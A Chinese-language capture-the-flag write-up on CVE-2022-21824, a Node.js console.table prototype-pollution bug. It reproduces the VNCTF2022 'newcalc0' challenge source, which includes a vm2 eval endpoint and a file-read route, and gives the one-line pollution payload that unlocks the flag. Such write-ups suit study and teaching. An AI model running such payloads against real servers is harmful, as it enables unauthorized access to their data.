CVE-2022-21824-console.table原型链污染

  1. 1. CVE-2022-21824
    1. 1.1. VNCTF2022 newcalc0

CVE-2022-21824

这次Dice2022和vnctf2022都出了过相关的题目

描述

1644821736435.png

其实就是说console.table也能污染原型链了,但是危害很小,因为只允许将空字符串分配给对象原型的数字键。

本地调试之后,其实就是将Object.prototype[0]变成空字符

1
2
3
4
5
6
7
8
try {
// console.log(Object.prototype[0])
console.table([{x:2}],["__proto__"]);
} catch (e) {
if(Object.keys(Object.prototype).length > 0) {
console.log(Object.prototype[0])
}
}

这样污染之后输出Object.prototype[0]就为空字符串而不是undefined

VNCTF2022 newcalc0

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const express = require("express");
const path = require("path");
const vm2 = require("vm2");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => {
const e = req.body.e;
if (!e) {
res.send("wrong?");
return;
}
try {
res.send(vm.run("module.exports="+e)?.toString() ?? "no");
} catch (e) {
console.log(e)
res.send("wrong?");
}
});

app.use("/flag", (req, res) => {
if(Object.keys(Object.prototype).length > 0) {
Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
res.send(process.env.FLAG);
} else {
res.send(Object.keys(Object.prototype));
}
})

app.use("/source", (req, res) => {
let p = req.query.path || "/src/index.js";
p = path.join(path.resolve("."), path.resolve(p));
console.log(p);
res.sendFile(p);
});

app.use((err, req, res, next) => {
console.log(err)
res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

有个vm2,也逃逸不了,利用上面的cve污染一下 满足flag路由的if(Object.keys(Object.prototype).length > 0)

console.table([{}], ["__proto__"]);

之后访问flag

1644824340912.png